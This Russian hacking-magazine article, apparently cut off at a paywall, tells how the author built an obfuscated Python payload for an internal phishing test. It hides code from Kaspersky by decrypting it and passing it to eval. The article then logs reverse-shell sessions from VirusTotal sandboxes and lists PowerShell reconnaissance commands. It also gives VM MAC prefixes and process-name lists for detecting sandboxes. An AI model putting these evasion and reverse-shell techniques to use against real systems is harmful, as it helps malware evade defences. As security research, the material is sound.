Содержание статьи
Однажды мы решили провести тестовую фишинговую атаку в нашей организации, чтобы поднять уровень осведомленности сотрудников. В роли настоящего «хакера» я решил построить всю инфраструктуру сам. Зарегал поддельный домен, поднял свой почтовый сервер, сервер для приема отстука. И тут пришло время писать клиентскую часть, а именно ту полезную нагрузку, которая будет отправляться пользователю.
Для получения исполняемого файла я использовал связку Python + PyInstaller. Идея состояла в том, чтобы собрать минимум информации о хосте и понять, кому из сотрудников он принадлежит. Основной информацией стал IP-адрес машины в локальной сети предприятия, поскольку он никогда не меняется и по нему можно выяснить, кто же все‑таки запустил «вредонос».
warning
Статья написана в исследовательских целях, имеет ознакомительный характер и предназначена для специалистов по безопасности. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Использование или распространение ПО без лицензии производителя может преследоваться по закону.
Пример информации, которая поступала на мой сервер, если кто‑то запускал исполняемый файл:
Hostname: <
Version: <
Release: <
Architecture: <
Type
Network
User: <
OS
Local_ip: <
На машинах организации, которую мы тестировали, стоит антивирусное решение от компании Kaspersky — Kaspersky Endpoint Security. Для его обхода я использовал возможность Python выполнять код, который передается в виде строки. Приведу пример.
Вот исходный код на Python для получения OS
:
os_type = platform.system()
А так выглядит обфусцированный код:
command_crypt = b'k\xb0\x0fp4\x03\xe9D\xe0\x01\xd5Z}\xc1\x85\xa42\xc56\x9f\xc0\x81\xaf\t\xe5\x08k!\x81\xd5\xcc\xf0'command_decrypt = func_decrypt(command_crypt, key_decrypt)os_type = eval(command_decrypt)
Реализация несложная. Сначала мы шифруем все строки кода с использованием функции шифрования, затем используем их в итоговом файле, из которого будет получен исполняемый файл. В нем содержится код с такой структурой:
- Зашифрованная строка кода.
- Дешифровка зашифрованной строки кода.
- Ее выполнение.
Полученный исполняемый файл я поместил на сервер. В зависимости от переданного в запросе User-Agent скрипт передавался под нужную ОС. Когда пользователь переходил по фишинговой ссылке, ему отправлялся архив, замаскированный под файл .
, после чего выполнялся редирект на реальный сайт компании, чтобы было менее подозрительно.
Так вот, еще до того, как я выгрузил файл на сервер, я уже начал получать отстуки от непонятных для меня хостов. Вот пример одного из таких:
Hostname: DESKTOP-HESL6H8
Version: 10.0.18362
Release: 10
Architecture: ('64bit', 'WindowsPE')
Type machine: AMD64
Network name: DESKTOP-HESL6H8
User: G58gQ
OS type: Windows
Local_ip: 10.16.202.175
Сразу бросается в глаза странное имя пользователя, как будто бы сгенерированное. Единственная «утечка» могла произойти с машины, на которой я тестировал обход антивируса Kaspersky. Тогда я не стал обращать внимания на это, поскольку антивирус все равно не ругался на мой файл. И я благополучно забил на этот факт до недавнего времени, пока не заинтересовался обходом песочниц.
Идея по сбору информации о песочницах
Предположительно тогда я получал отстуки из песочниц Kaspersky, которые анализировали файл с неизвестной сигнатурой. Поэтому я решил: раз приходят запросы, значит, у песочниц есть доступ в интернет и он не блокируется. Если усовершенствовать скрипт с reverse shell, чтобы не ловиться просто по сигнатуре, можно попробовать полазить по такой песочнице. Основу для реализации этой идеи я взял с сайта revshells.com.
Для экспериментов использовалась машина с белым IP. Я скомпилировал файл, и антивирус после пары подключений его нейтрализовал. А я стал ждать. И... ничего, я так и не получил коннекта.
Но при загрузке программы на VirusTotal виртуальные среды все‑таки позволяют взаимодействовать с хостом после подключения:
root@hostname:~# nc -lvnp 8080
Listening on 0.0.0.0 8080
Connection received on 34.86.36.138 49171
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\Users\azure\Downloads>
PS C:\Users\azure\Downloads> dir
dir
PS C:\Users\azure\Downloads> cd ..
cd ..
PS C:\Users\azure> dir
dir
Directory: C:\Users\azure
Mode LastWriteTime Length Name
d----- 3/31/2022 5:04 AM .idlerc
d----- 1/6/2023 10:44 AM .ms-ad
d-r--- 3/25/2022 4:09 PM Contacts
d-r--- 3/25/2022 6:25 PM Desktop
d-r--- 3/25/2022 4:09 PM Documents
d-r--- 5/5/2025 8:45 AM Downloads
d-r--- 3/25/2022 4:09 PM Favorites
d-r--- 3/25/2022 4:09 PM Links
d-r--- 3/25/2022 4:09 PM Music
d-r--- 3/25/2022 4:09 PM Pictures
d-r--- 3/25/2022 4:09 PM Saved Games
d-r--- 3/25/2022 4:09 PM Searches
d-r--- 3/25/2022 4:09 PM Videos
PS
Get-Process
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName-------
115 9 15448 15812 0.64 932 0 audiodg
31 5 1080 3348 0.02 2168 1 conhost
35 5 1140 3748 0.02 2444 1 conhost
31 5 1080 3344 0.00 2460 1 conhost
31 5 1076 3348 0.03 2560 1 conhost
31 5 1076 3344 0.02 2648 1 conhost
31 5 1076 3344 0.00 2668 1 conhost
31 5 1080 3312 0.02 2788 1 conhost
31 5 1080 3316 0.00 2812 1 conhost
434 11 1840 4080 0.86 328 0 csrss
325 15 2876 5900 1.19 384 1 csrss
...
79
81 10 1460 4728 0.64 376 0 wininit
112 9 2692 7520 1.77 424 1 winlogon
182 11 3532 9852 0.13 584 0 WmiPrvSE
124 9 2280 6820 0.05 1836 0 WmiPrvSE
133 9 2464 7236 0.14 2744 0 WmiPrvSE
439 32 9896 27188 0.83 2484 0 wmpnetwk
PS C:\Users\azure> exit
root@hostname:
Listening on 0.0.0.0 8080
Connection received on 34.45.100.89 49681
ls
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS
Directory:
Mode LastWriteTime Length Name----
d-----
d-----
d-----
d-----
`...
-a----
-a----
-a----
-a----
-a----
PS
В итоге я решил использовать тактику, как при проведении фишинговой атаки, а именно — использовать скрипт для сбора информации о системе и отправки данных на сервер.
Понятно, что тех данных, которые я собирал в изначальном скрипте, явно маловато, поэтому я усовершенствовал программу, и теперь она собирает следующие параметры:
OS type:
Version:
Release:
Architecture:
Type machine:
Network name:
User:
Hostname:
Local ip:
System Date:
System boot time:
Uptime:
System hardware:
System File:
Directory: C:/Windows:
Directory: C:/Program Files:
Directory: C:/Program Files (x86):
Directory: C:/ProgramData:
Directory: C:/Windows/System32:
Directory: C:/Windows/SysWOW64:
Directory: C:/Windows/Temp:
Directory: C:/Users:
User File:
User directory:
Directory: Downloads:
Directory: Desktop:
Directory: Pictures:
Directory: Videos:
Directory: Music:
Directory: AppData\Local\Temp:
Process Data:
Также я собирал информацию о системе c помощью команд PowerShell, используя модуль subprocess:
systeminfoipconfig /allnet userGet-WmiObject Win32_ComputerSystemGet-ServiceGet-WmiObject Win32_VideoControllerGet-CimInstance Win32_LogicalDisk -Filter "DriveType=3" | Select-Object `DeviceID, @{Name="Size(GB)";Expression={"{0:N2}" -f ($_.Size / 1GB)}}, @{Name="Free(GB)";Expression={"{0:N2}" -f ($_.FreeSpace / 1GB)}},@{Name="Used(GB)";Expression={"{0:N2}" -f (($_.Size - $_.FreeSpace) / 1GB)}}
www
Пока скрипты крутились в дробилках песочниц, я поискал в интернете информацию об обходе этих самых песочниц. В итоге мне понравились эти статьи:
Детект песочницы. Учимся определять, работает ли приложение в sandbox-изоляции
Как песок сквозь пальцы: могут ли вредоносы обойти Sandbox и как они это делают
Многие идеи я буду брать из этих статей, так что мой код по большей части не уникален.
Анализ полученной информации
Ниже приведена таблица с данными, по которой мы будем в первую очередь определять среду.
Environment | Hostname | OS Version | CPU count | Total memory | Uptime (day hh.mm.ss) | Process count |
---|---|---|---|---|---|---|
Real PC | 10 | 4 | 32 | 1 day 02:16:12 | 192 | |
Real PC | 10 | 6 | 16 | 13:51:48 | 275 | |
VirTotal | WIN-5E07COS9ALR | 10 | 1 | 1 | 0:01:04 | 56 |
VirTotal | WIN-QIUREVVK5FL | 7 | 1 | 8 | 0:01:41 | 60 |
VirTotal | 715575 | 10 | 4 | 8 | 2:06:38 | 189 |
VirTotal | 061544 | 10 | 2 | 8 | 2:03:42 | 161 |
VirTotal | 424505 | 10 | 4 | 8 | 1:46:43 | 167 |
VirTotal | azure-PC | 7 | 2 | 2 | 0:03:57 | 58 |
VirTotal | azure-PC | 7 | 2 | 2 | 0:04:11 | 55 |
VirTotal | WALKER-PC | 7 | 2 | 1.5 | 0:01:25 | 54 |
VirTotal | 00900BC83803 | 10 | 2 | 2 | 0:50:12 | 52 |
VirTotal | COMPUTER-9GV0UZ | 10 | 2 | 4 | 0:08:47 | 103 |
VirTotal | MZLTRR848050884 | 10 | 1 | 2 | 2:41:42 | 51 |
Бросается в глаза, что у некоторых хостов явно проблемы с CPU и MEM. Также мы видим, что некоторые машины крайне недолго находятся в Uptime, а у других слишком мало запущенных процессов. Все это косвенно может свидетельствовать о виртуализации. Данных от песочниц Kaspersky я не получил: антивирус ни в какую не хотел считать мой файл зловредным.
В итоге я решил проверить свою программу с помощью динамического анализа на их сайте opentip.kaspersky.com. И как оказалось, исполняемый файл, полученный с использованием связки Python 3.12 + PyInstaller, просто не может запуститься в их песочнице.

И даже с учетом того, что файл содержит reverse shell, анализ показывает, что файл безопасен.

В общем, я вернулся на Python 3.7 и попробовал писать код на нем. Теперь программа анализировалась нормально. Вот данные, которые я получил.
Environment | Hostname | OS Version | CPU count | Total memory | Uptime (day hh.mm.ss) | Process count |
---|---|---|---|---|---|---|
Real PC | 10 | 4 | 32 | 1 day 02:16:12 | 192 | |
Real PC | 10 | 6 | 16 | 13:51:48 | 275 | |
Kas | ELZ-8K4JW2UL3QY | 10 | 2 | 4 | 0:08:16 | 100 |
Kas | art-PC | 7 | 2 | 1 | 0:04:15 | 44 |
Но получить с хостов данные, похожие на те, что приходили при проведении тестовой фишинговой атаки, мне не удалось. И только когда я оставил одни команды PowerShell, мне наконец прилетели отстукивания, которые были схожи, по крайней мере hostname
и username
напоминали те, что я увидел в первый раз. К сожалению, команда Get-Process
почему‑то не отработала, и информации о количестве запущенных процессов мне получить не удалось.
Host | Hostname | OS Version | CPU count | Total memory | Uptime (day hh.mm.ss) | Process count |
---|---|---|---|---|---|---|
Real PC | 4 | 32 | 1 day 02:16:12 | 192 | ||
Real PC | 6 | 16 | 13:51:48 | 275 | ||
Kas | DESKTOP-09L7V90 | 10 | 1 | 2 | 1:35:42 | ? |
Kas | DESKTOP-NL2CM8W | 10 | 1 | 2 | 2:38:52 | ? |
Kas | DESKTOP-WSP0LAK | 10 | 1 | 2 | 3:44:45 | ? |
Как видно, эти хосты тоже страдают от нехватки CPU и MEM.
Теперь копаем глубже: нам нужны MAC-адреса. По ним также можно понять, что программа запущена в виртуальной среде. На этом ловятся хосты WIN-\
. Вот MAC-адреса, которые будем искать:
{{0x00, 0x50, 0x56}, "VMware ESX 3, Server, Workstation, Player"},{{0x00, 0x0C, 0x29}, "VMware ESX 3, Server, Workstation, Player"},{{0x00, 0x05, 0x69}, "VMware ESX 3, Server, Workstation, Player"},{{0x00, 0x1с, 0x14}, "VMware ESX 3, Server, Workstation, Player"},{{0x00, 0x03, 0xff}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x0d, 0x3a}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x50, 0xf2}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x7c, 0x1e, 0x52}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x12, 0x5a}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x15, 0x5d}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x17, 0xfa}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x28, 0x18, 0x78}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x7c, 0xed, 0x8d}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x1d, 0xd8}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x22, 0x48}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x25, 0xae}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x60, 0x45, 0xbd}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0xdc, 0xb4, 0xc4}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},{{0x00, 0x1c, 0x42}, "Parallels Desktop, Workstation, Server, Virtuozzo"},{{0x00, 0x0f, 0x4b}, "Virtual Iron 4"},{{0x00, 0x16, 0x3e}, "Red Hat Xen | Oracle VM | XenSource | Novell Xen"},{{0x08, 0x00, 0x27}, "Sun xVM VirtualBox"},
А вот процессы, по которым можно понять, что скрипт запущен в виртуальной среде или анализируется в дебаггере:
// Иконка VirtualBox в трее гостевой ОСTEXT("VBoxTray.exe"),// Служба VirtualBox Guest AdditionsTEXT("VBoxService.exe"),TEXT("vboxservice.exe"),// Драйвер VirtualBox GuestTEXT("vboxguest.sys"),// VMware ToolsTEXT("vmtoolsd.exe"),TEXT("vmwaretray.exe"),TEXT("vmwareuser.exe"),TEXT("vmsrvc.exe"),TEXT("vmhgfs.sys"),TEXT("vmware-vmx.exe"),TEXT("vmware-authd.exe"),// Hyper-VTEXT("vmicvss.exe"),// TEXT("vmms.exe"), // Был обнаружен в реальной машине, закомментированоTEXT("vmmem.exe"),TEXT("vmwp.exe"),// QEMUTEXT("qemu-system-x86_64.exe"),TEXT("qemu-vm-guest.exe"),// ParallelsTEXT("prl_vm_app.exe"),TEXT("prl_tools.exe"),TEXT("prl_cc.exe"),TEXT("SharedIntApp.exe"),// Драйвер мыши виртуальной машиныTEXT("vmmouse.sys"),// Xen Virtualization environmentTEXT("xenservice.exe"),// Windows SandboxTEXT("WindowsSandbox.exe"),// SandboxieTEXT("SandboxieRpcSs.exe"),TEXT("SandboxieDcomLaunch.exe"),TEXT("SbieSvc.exe"),TEXT("SbieCtrl.exe"),// Comodo SandboxTEXT("SxIn.exe"),// Process Monitor — анализ поведенияTEXT("procmon.exe"),// Обнаружен в процессах одной из песочниц VirusTotalTEXT("VmRemoteGuest.exe"),// Windows Debugging ToolsTEXT("ntsd.exe"),TEXT("windbg.exe"),// IDA ProTEXT("idaq.exe"),TEXT("idag.exe"),// x64dbg/x32dbgTEXT("x64dbg.exe"),TEXT("x32dbg.exe"),
И тут меня заинтересовал вывод команды
Get-WmiObject Win32_VideoController
А именно вот такие строки:
Name
Description
PNPDeviceID
Собираю информацию с хостов:
Real PC:
Description : AMD Radeon(TM) Vega 10 Graphics
PNPDeviceID : PCI\VEN_1002&DEV_15DD&SUBSYS_512217AA&REV_D0\4&35FEB52A&0&0041
Description : Intel(R) UHD Graphics 730
PNPDeviceID : PCI\VEN_8086&DEV_4692&SUBSYS_D0001458&REV_0C\3&11583659&0&10
Kaspersky:
С сайта анализатора:
Hostname: ELZ-8K4JW2UL3QY
OS: Windows 10
Name : Microsoft Basic Display Adapter
Description : Microsoft Basic Display Adapter
PNPDeviceID : PCI\VEN_1AE0&DEV_A001&SUBSYS_00011AE0&REV_01\3&13C0B0C5&0&18
Hostname: art-PC
OS: Windows 7
Name : Standard VGA Graphics Adapter
Description : Standard VGA Graphics Adapter
PNPDeviceID : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_02\3&1
Файлы, аналогичные файлам при проведении тестового фишинга:
Hostname: DESKTOP-09L7V90
OS: Windows 10
Name : Microsoft Basic Display Adapter
Description : Microsoft Basic Display Adapter
PNPDeviceID : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_00\3&13C0B0C5&0&10
Hostname: DESKTOP-NL2CM8W
OS: Windows 10
Name : Microsoft Basic Display Adapter
Description : Microsoft Basic Display Adapter
PNPDeviceID : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_00\3&13C0B0C5&0&10
Hostname: DESKTOP-WSP0LAK
OS: Windows 10
Name : Microsoft Basic Display Adapter
Description : Microsoft Basic Display Adapter
PNPDeviceID : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_00\3&13C0B0C5&0&10
VirusTotal:
Hostname: WIN-5E07COS9ALR
OS: Windows 10
Name : Microsoft Hyper-V Video
Description : Microsoft Hyper-V Video
PNPDeviceID : VMBUS\{DA0A7802-E377-4AAC-8E77-0558EB1073F8}\{5620E0C7-8062-4DCE-AEB7-520C7EF76171}
Hostname: WIN-QIUREVVK5FL
OS: Windows 7
Name : Microsoft Hyper-V Video
Caption : Microsoft Hyper-V Video
PNPDeviceID : VMBUS\{DA0A7802-E377-4AAC-8E77-0558EB1073F8}\{5620E0C7-8062-4DCE-AEB7-520C7EF76171}
Hostname: 715575
OS: Windows 10
Name : AD59MKMM
Description : CMPMV5
PNPDeviceID : PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78
Hostname: 061544
OS: Windows 10
Данные отсутствуют (команда не выполнилась)
Hostname: 424505
OS: Windows 10
Name : X9387726
Description : AE27H7US
NPDeviceID : PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78
Hostname: azure-PC
OS: Windows 7
Name : Standard VGA Graphics Adapter
Description : Standard VGA Graphics Adapter
PNPDeviceID : PCI\VEN_1B36&DEV_0100&SUBSYS_11001AF4&REV_05\3&2
Hostname: azure-PC
OS: Windows 7
Name : Standard VGA Graphics Adapter
Description : Standard VGA Graphics Adapter
PNPDeviceID : PCI\VEN_1B36&DEV_0100&SUBSYS_11001AF4&REV_05\3&2
Hostname: 00900BC83803
OS: Windows 10
Name : Intel(R) UHD Graphics 630
Description : Microsoft Basic Display Adapter
PNPDeviceID : PCI\VEN_1234&DEV_5678&SUBSYS_9101112&REV_01\3&ABCDE&0&11
Hostname: COMPUTER-9GV0UZ
OS: Windows 10
Name : Microsoft Basic Display Adapter
Description : Microsoft Basic Display Adapter
PNPDeviceID : PCI\VEN_1AE0&DEV_A001&SUBSYS_00011AE0&REV_01\3&13C0B0C5&0&18
Hostname: MZLTRR848050884
OS: Windows 10
Name : Microsoft Basic Display Adapter
Description : Microsoft Basic Display Adapter
PNPDeviceID : PCI\VEN_8086&DEV_0412&SUBSYS_2AF7103C&REV_06\3&21436425&0&10
Как видно, есть повторяющиеся значения, а также имена и описания, похожие на дефолтные или сгенерированные. Дополнительно к выводу о том, что при проведении тестирования по фишингу мне прилетали отстуки от Kaspersky, говорят одинаковые VEN
и DEV
, полученные с сайта анализатора и откуда‑то еще (откуда прилетают странные отстукивания со странных хостов, я так и не понял).
Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее